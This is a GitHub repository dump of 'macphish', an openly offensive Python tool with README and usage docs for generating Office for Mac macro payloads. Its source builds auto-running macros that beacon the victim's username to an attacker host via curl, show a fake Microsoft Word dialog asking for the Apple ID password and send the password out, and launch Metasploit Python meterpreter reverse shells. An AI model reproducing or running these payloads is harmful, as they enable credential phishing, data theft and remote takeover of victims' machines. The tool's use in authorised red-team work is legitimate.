├── LICENSE ├── README.md ├── USAGE.md ├── macphish-alpha.png ├── macphish.log └── macphish.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Paulino Calderon Pale 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # macphish 2 | Office for Mac Macro Payload Generator 3 | ![macphish](macphish-alpha.png?raw=true "macphish") 4 | 5 | ## Attack vectors 6 | There are 4 attack vectors available: 7 | * beacon 8 | * creds 9 | * meterpreter 10 | * meterpreter-grant 11 | 12 | For the 'creds' method, macphish can generate the Applescript script directly, in case you need to run it from a shell. 13 | 14 | ### beacon 15 | On execution, this payload will signal our listening host and provide basic system information about the victim. The simplest way of generating a beacon payload is: 16 | ``` 17 | $./macphish.py -lh 18 | ``` 19 | By default, it uses curl but other utilities (wget, nslookup) can be used by modifying the command template. 20 | 21 | ### creds 22 | ``` 23 | $./macphish.py -lh -lp -a creds 24 | ``` 25 | ### meterpreter 26 | The simplest way of generating a meterpreter payload is: 27 | ``` 28 | $./macphish.py -lh -lp -p -a meterpreter 29 | ``` 30 | ### meterpreter-grant 31 | The generate a meterpreter payload that calls GrantAccessToMultipleFiles() first: 32 | ``` 33 | $./macphish.py -lh -lp -p -a meterpreter-grant 34 | ``` 35 | 36 | For meterpreter attacks, only python payloads are supported at the moment. 37 | 38 | ## Usage 39 | See https://github.com/cldrn/macphish/wiki/Usage 40 | 41 | ## PoCs 42 | * 43 | * 44 | * 45 | * 46 | -------------------------------------------------------------------------------- /USAGE.md: -------------------------------------------------------------------------------- 1 | # Usage 2 | 3 | ## beacon (Office 2011/Office 2016) 4 | This mode generates a simple 'beacon' payload that will signal a HTTP server. This module is useful for stats/evidence when no access to user files is required. The HTTP request will include the user name that executed the payload. We are using curl here but it is very easy to change it to nslookup, ping, dig, etc. 5 | 6 | To generate a beacon payload, simply select 'beacon' as the attack mode and set the listening hostname: 7 | 8 | $./macphish.py -a beacon -lh 9 | 10 | ## creds (Office 2011/Office 2016) 11 | This module generates payloads for credential phishing. This payload generates a prompt that attempts to phish user credentials abusing osascript functionality. The username is obtained from the system information which is sent along with the entered password to a HTTP server. 12 | 13 | To generate the macro: 14 | 15 | $./macphish.py -a creds -m -lh 16 | 17 | To generate the Applescript payload to be executed from a shell: 18 | 19 | $./macphish.py -a creds -lh 20 | 21 | To customize the icon, title and message used in the dialog: 22 | 23 | ./macphish.py -lh -a creds -t -msg <msg> -i <icon> 24 | 25 | For example, to use the keychain icon: 26 | 27 | ./macphish.py -lh 0xdead -a creds -t "Microsoft Word" -msg "Unlock your keychain to decrypt this file" -i "file \"Applications:Utilities:Keychain Access.app:Contents:Resources:AppIcon.icns\"" 28 | 29 | ## meterpreter (Office 2011/Office 2016 with limitations) 30 | This module generates python meterpreter payloads. In Office 2016, it will run inside the App Sandbox. 31 | 32 | To generate a macro that will execute a Python meterpreter payload (Note that only Python payloads will work): 33 | 34 | $./macphish.py -a meterpreter -lh <host> -lp <port> -p <payload type> -m 35 | 36 | ## meterpreter-grant (Office 2011/Office 2016) 37 | 38 | This payload executes a Python meterpreter after calling GrantAccessToMultipleFiles(/Users/<user>/Documents). The meterpreter shell will have access to user documents if permissions are granted. Additionally, the document must be run from anywhere (including subfolders) inside the Documents folder. 39 | 40 | To generate a macro that will execute a Python meterpreter payload (Note that only Python payloads will work): 41 | 42 | $./macphish.py -a meterpreter-grant -lh <host> -lp <port> -p <payload type> -m 43 | -------------------------------------------------------------------------------- /macphish-alpha.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cldrn/macphish/6cf1786d4ae1c3a6b5909078bbb33ac103bf0a58/macphish-alpha.png -------------------------------------------------------------------------------- /macphish.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cldrn/macphish/6cf1786d4ae1c3a6b5909078bbb33ac103bf0a58/macphish.log -------------------------------------------------------------------------------- /macphish.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ############################################################################### 3 | #MIT License 4 | # 5 | #Copyright (c) 2017 Paulino Calderon Pale 6 | # 7 | #Permission is hereby granted, free of charge, to any person obtaining a copy 8 | #of this software and associated documentation files (the "Software"), to deal 9 | #in the Software without restriction, including without limitation the rights 10 | #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | #copies of the Software, and to permit persons to whom the Software is 12 | #furnished to do so, subject to the following conditions: 13 | # 14 | #The above copyright notice and this permission notice shall be included in all 15 | #copies or substantial portions of the Software. 16 | # 17 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | #SOFTWARE. 24 | ############################################################################### 25 | # Macphish (https://github.com/cldrn/macphish/) 26 | # Version: 1BETA-DRAGONJARCON 27 | # Author: Paulino Calderon <calderon@websec.mx> 28 | # 29 | # Macphish - Office for Mac Macro Payload Generator 30 | # 31 | # Usage: ./macphish -h 32 | # 33 | # Attack modes: 34 | # * beacon: Phone home beacon 35 | # * creds: Credential phishing with osascript 36 | # * meterpreter: Meterpreter 37 | # * meterpreter-grant: Meterpreter with GrantAccessToMultipleFiles() 38 | # 39 | 40 | import argparse 41 | import sys 42 | import os 43 | import getopt 44 | import logging 45 | import subprocess 46 | import distutils.spawn 47 | from random import choice 48 | from string import ascii_letters 49 | 50 | NAME = "MacPhish" 51 | VERSION = "1BETA-DRAGONJARCON" 52 | URL = "https://github.com/cldrn/macphish" 53 | AUTHOR = "Paulino Calderon <paulino@websec.mx>" 54 | MACPHISH_LOG = "macphish.log" 55 | 56 | def banner(): 57 | banner = """ 58 | MACPHISH 59 | MACPHISHMACPHISH 60 | MACPHISHMACPHISHMACPHI S 61 | HMAC PHISHMACPHISHMACPHIS HM $$\ $$\ $$$$$$$\ $$\ $$\ $$\ 62 | ACPHIS HMACPHISHMACPHISHMACP HISH $$$\ $$$ | $$ __$$\ $$ | \__| $$ | 63 | MACPHISHMACPHISHMACPHISHMACPHISHM ACPHI $$$$\ $$$$ | $$$$$$\ $$$$$$$\ $$ | $$ |$$$$$$$\ $$\ $$$$$$$\ $$$$$$$\ 64 | MACPHISHMACPHISHMACPHISHMACPHISHMACPHIS $$\$$\$$ $$ | \____$$\ $$ _____|$$$$$$$ |$$ __$$\ $$ |$$ _____|$$ __$$\ 65 | HMACPHISHMACPHISHMACPHISHMACPHISHMA $$ \$$$ $$ | $$$$$$$ |$$ / $$ ____/ $$ | $$ |$$ |\$$$$$$\ $$ | $$ | 66 | CPHISHMACPHISHMACPHISHMACPHISHMACPHISHM $$ |\$ /$$ |$$ __$$ |$$ | $$ | $$ | $$ |$$ | \____$$\ $$ | $$ | 67 | ACPHISHMACPHISHMACPHISHMACPHISHMAC PHISHM $$ | \_/ $$ |\$$$$$$$ |\$$$$$$$\ $$ | $$ | $$ |$$ |$$$$$$$ |$$ | $$ | 68 | ACPHISHMACPHISHMACPHISHMACPHISH MACP \__| \__| \_______| \_______|\__| \__| \__|\__|\_______/ \__| \__| 69 | HISHMACPHISHMACPHISHMACPHISH MA 70 | CPHISHMACPHISHMACPHISH M %s (%s) 71 | ACPHISHMACPHISHMAC Mac macro payload generator (%s) 72 | PHISHMACPHISH Author: %s 73 | MACPHISH 74 | """ % (NAME, VERSION, URL, AUTHOR) 75 | return banner 76 | 77 | def find_msfvenom(): 78 | if os.name == "nt": 79 | msfvenom_path = distutils.spawn.find_executable("msfvenom.exe", os.environ["PROGRAMFILES(X86)"]+"\Metasploit") 80 | if not(msfvenom_path): 81 | msfvenom_path = distutils.spawn.find_executable("msfvenom.exe", os.environ["PROGRAMFILES"]+"\Metasploit") 82 | else: 83 | msfvenom_path = distutils.spawn.find_executable("msfvenom","/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin") 84 | 85 | return msfvenom_path 86 | 87 | def random_name(): 88 | rnd = ''.join(choice(ascii_letters) for i in range(12)) 89 | return rnd 90 | 91 | def gen_beacon_template(lhost, random=False): 92 | if not random: 93 | macro = """ 94 | Sub AutoOpen() 95 | #If Mac Then 96 | i = MacScript("return short user name of (system info)") 97 | MacScript ("do shell script ""curl http://%s/" & i & "\"\"") 98 | #Else 99 | ' Enter your Windows macro here! 100 | #End If 101 | End Sub 102 | """ % (lhost) 103 | else: 104 | rnd = random_name() 105 | macro = """ 106 | Sub AutoOpen() 107 | #If Mac Then 108 | %s 109 | #Else 110 | ' Enter your Windows macro here! 111 | #End If 112 | End Sub 113 | 114 | Sub %s() 115 | i = MacScript("return home directory of (system info)") 116 | MacScript("do shell script ""curl http://%s/" & i & "\"\"") 117 | End Sub 118 | """ % (rnd, rnd, lhost) 119 | return macro 120 | 121 | def gen_macro(payload, random, prefix=''): 122 | if random: 123 | rnd = random_name() 124 | macro = """ 125 | Sub AutoOpen() 126 | #If Mac Then 127 | %s 128 | #Else 129 | ' Enter your Windows macro here! 130 | #End If 131 | End Sub 132 | Sub %s() 133 | %s 134 | MacScript("%s") 135 | End Sub 136 | """ % (rnd, rnd, prefix, payload) 137 | else: 138 | macro = """ 139 | Sub AutoOpen() 140 | #If Mac Then 141 | %s 142 | MacScript("%s") 143 | #Else 144 | ' Enter your Windows macro here! 145 | #End If 146 | End Sub 147 | """ % (prefix, payload) 148 | return macro 149 | 150 | def meterpreter_payload(lhost, lport, payload, options): 151 | logging.info("Generating payload with msfvenom: %s (%s) %s:%s", lhost, lport, payload, options) 152 | path = find_msfvenom() 153 | if not path: 154 | print "Can't find msfvenom. Exiting..." 155 | exit() 156 | 157 | outfile = "%s_%s_%s.py" % (lhost, lport, payload.replace("/", "-")) 158 | cmd = "%s -p %s -f raw LHOST=%s LPORT=%s -o %s" % (path, payload, lhost, lport, outfile) 159 | logging.debug(cmd) 160 | proc = subprocess.Popen(cmd.split(), shell=False) 161 | proc.wait() 162 | 163 | payload_file = open(outfile, 'r') 164 | payload = payload_file.read() 165 | payload_file.close() 166 | 167 | logging.debug(payload) 168 | return payload 169 | 170 | def beacon_template(payload, payload2, random): 171 | if random: 172 | rnd = random_name() 173 | macro = """ 174 | Sub AutoOpen() 175 | #If Mac Then 176 | %s 177 | #Else 178 | ' Enter your Windows macro here! 179 | #End If 180 | End Sub 181 | 182 | Sub %s() 183 | t=MacScript("%s") 184 | TestArray = Split(t) 185 | pass = TestArray(3) 186 | pass = Split(pass, ":") 187 | user = MacScript("return short user name of (system info)") 188 | leak = MacScript("%s & user & "/" & pass(1) & "\"\"") 189 | End Sub 190 | """ % (rnd, rnd, payload, payload2) 191 | else: 192 | macro = """ 193 | Sub AutoOpen() 194 | #If Mac Then 195 | t=MacScript("%s") 196 | TestArray = Split(t) 197 | pass = TestArray(3) 198 | pass = Split(pass, ":") 199 | user = MacScript("return short user name of (system info)") 200 | leak = MacScript("%s & user & "/" & pass(1) & "\"\"") 201 | #Else 202 | ' Enter your Windows macro here! 203 | #End If 204 | End Sub 205 | """ % (payload, payload2) 206 | return macro 207 | 208 | def write_macro(filename, content): 209 | logging.debug("Saving macro to file %s" % filename) 210 | fp = open(filename, "w") 211 | fp.write(content) 212 | fp.close() 213 | 214 | def macscript(payload, macro, rnd): 215 | logging.debug("Generating macscript command-> payload:%s macro:%s random name:%s" % (payload, macro, rnd)) 216 | str = "do shell script \"%s\"" % (payload) 217 | if macro: 218 | str = escape_vba(str) 219 | str = gen_macro(str, rnd) 220 | logging.debug("Macscript command: %s" % str ) 221 | return str 222 | 223 | 224 | def gen_beacon(lhost, macro, random): 225 | logging.debug("Generating beacon-> lhost:%s Generate macro:%s Random name:%s" % (lhost, macro, random)) 226 | payload = "" 227 | if lhost: 228 | payload = "curl http://%s/" % (lhost) 229 | logging.debug("Setting payload to '%s'" % payload) 230 | else: 231 | logging.debug("No lhost defined") 232 | return False 233 | return macscript(payload, macro, random) 234 | 235 | def gen_exfil_cmd(): 236 | str = "" 237 | return cmd 238 | 239 | def gen_osascript_dialog(msg, title, icon): 240 | cmd = "/usr/bin/osascript -e 'display dialog \"%s\" & return & return default answer \"\" with icon %s with hidden answer with title \"%s\"'" % (msg, icon, title) 241 | cmd = escape_macscript(cmd) 242 | 243 | return cmd 244 | 245 | def gen_dialog_payload(lhost, macro, random, custom_msg = None, custom_title = None, custom_icon = None): 246 | logging.debug("Generating dialog phishing attack-> lhost:%s Generate macro:%s Random name:%s" % (lhost, macro, random)) 247 | if custom_msg: 248 | msg = custom_msg 249 | else: 250 | msg = "Microsoft Word needs your Apple ID password to decrypt this secure file" 251 | 252 | if custom_title: 253 | title = custom_title 254 | else: 255 | title = "Microsoft Word" 256 | 257 | if custom_icon: 258 | icon = custom_icon 259 | else: 260 | icon = "caution" 261 | 262 | str = "do shell script \"%s\"" % gen_osascript_dialog(msg, title, icon) 263 | str2 = gen_beacon(lhost, False, False) 264 | str2 = escape_vba(str2[:-1]) 265 | str2 = str2 + "\"" 266 | if macro: 267 | #log.debug("generating macro") 268 | str = escape_vba(str) 269 | str = beacon_template(str, str2, random) 270 | return str 271 | 272 | def gen_meterpreter(lhost, lport, payload, opts, macro, random): 273 | logging.info("Generating meterpreter payload for %s:%s", lhost, lport) 274 | meterpreter = meterpreter_payload(lhost, lport, payload, opts) 275 | python_payload = "\"%s\"" % meterpreter 276 | python_payload = escape_macscript(python_payload) 277 | str = "do shell script \"python -c %s &> /dev/null \"" % python_payload 278 | 279 | if macro: 280 | str = escape_vba(str) 281 | str = gen_macro(str, random) 282 | out = lhost + "_" + lport + "_" + "_" + payload.replace("/", "-") + ".macro" 283 | print "Saved macro as:%s" % out 284 | write_macro(out, str) 285 | return str 286 | 287 | def gen_grantaccesstomultiplefiles(lhost, lport, payload, opts, random): 288 | logging.info("Generating meterpreter with GrantAccessToMultipleFiles() for %s:%s", lhost, lport) 289 | meterpreter = meterpreter_payload(lhost, lport, payload, opts) 290 | python_payload = "\"%s\"" % meterpreter 291 | python_payload = escape_macscript(python_payload) 292 | str = "do shell script \"python -c %s &> /dev/null \"" % python_payload 293 | 294 | user_gen = """ 295 | #If MAC_OFFICE_VERSION >= 15 Then 296 | a = MacScript("return short user name of (system info)") 297 | GrantAccessToMultipleFiles(Array("/Users/" & a & "/Documents/")) 298 | #End If 299 | """ 300 | grant = "" 301 | 302 | str = escape_vba(str) 303 | str = gen_macro(str, random, user_gen) 304 | out = lhost + "_" + lport + "_" + "_" + payload.replace("/", "-") + ".macro" 305 | print "Saved macro as:%s" % out 306 | write_macro(out, str) 307 | return str 308 | 309 | #Transforms '"' into '""' (VBA escaping) 310 | def escape_vba(str): 311 | str = str.replace('"', '""') 312 | return str 313 | 314 | #Transforms '"' into '\"' (Macscript escaping) 315 | def escape_macscript(str): 316 | str = str.replace('"', '\\"') 317 | return str 318 | 319 | def main(): 320 | print(banner()) 321 | parser = argparse.ArgumentParser(description="Macscript payload generator") 322 | parser.add_argument("-d", "--debug", action="store_true", dest="debug", 323 | help="Enable debugging") 324 | parser.add_argument("-r", "--random-name", action="store_true", dest="random", default=False, help="Use random function name") 325 | parser.add_argument("-m", "--macro", action="store_true", dest="macro", help="Generate office macro") 326 | parser.add_argument("-a", "--attack", dest="mode", default="beacon", help="Attack type: beacon, creds, meterpreter, meterpreter-grant") 327 | parser.add_argument("-lh", "--lhost", dest="lhost", help="lhost: Listening host", required=True) 328 | parser.add_argument("-lp", "--lport", dest="lport", help="lport: Listening port", required=False) 329 | parser.add_argument("-opts", "--meterpreter-options", dest="opts", help="Meterpreter opts") 330 | parser.add_argument("-p", "--payload", dest="payload", help="Meterpreter payload type") 331 | parser.add_argument("-t", "--creds-title", dest="title", help="Title used in creds phishing dialog") 332 | parser.add_argument("-msg", "--creds-msg", dest="msg", help="Message used in creds phishing dialog") 333 | parser.add_argument("-i", "--creds-icon", dest="icon", help="Icon used in creds phishing dialog") 334 | 335 | if len(sys.argv)==1: 336 | parser.print_help() 337 | sys.exit(1) 338 | 339 | args = parser.parse_args() 340 | 341 | if args.debug: 342 | logging.basicConfig(filename='macphish.log', level=logging.DEBUG) 343 | logging.info("macphish running in verbose mode.") 344 | if args.mode: 345 | logging.info("payload type:%s" % args.mode) 346 | if args.mode == "beacon": 347 | print gen_beacon_template(args.lhost, args.random) 348 | elif args.mode == "creds": 349 | print gen_dialog_payload(args.lhost, args.macro, args.random, args.title, args.msg, args.icon) 350 | elif args.mode == "meterpreter": 351 | if args.payload: 352 | print gen_meterpreter(args.lhost, args.lport, args.payload, args.opts, args.macro, args.random) 353 | else: 354 | print "This attack mode requires the payload type (-p). Ex. -p python/meterpreter/reverse_https" 355 | sys.exit(1) 356 | elif args.mode == "meterpreter-grant": 357 | if args.payload: 358 | print gen_grantaccesstomultiplefiles(args.lhost, args.lport, args.payload, args.opts, args.random) 359 | else: 360 | print "This attack mode requires a payload type (-p). Ex: -p python/meterpreter/reverse_https" 361 | sys.exit(1) 362 | else: 363 | parser.print_help() 364 | sys.exit(1) 365 | if __name__ == "__main__":main() 366 | --------------------------------------------------------------------------------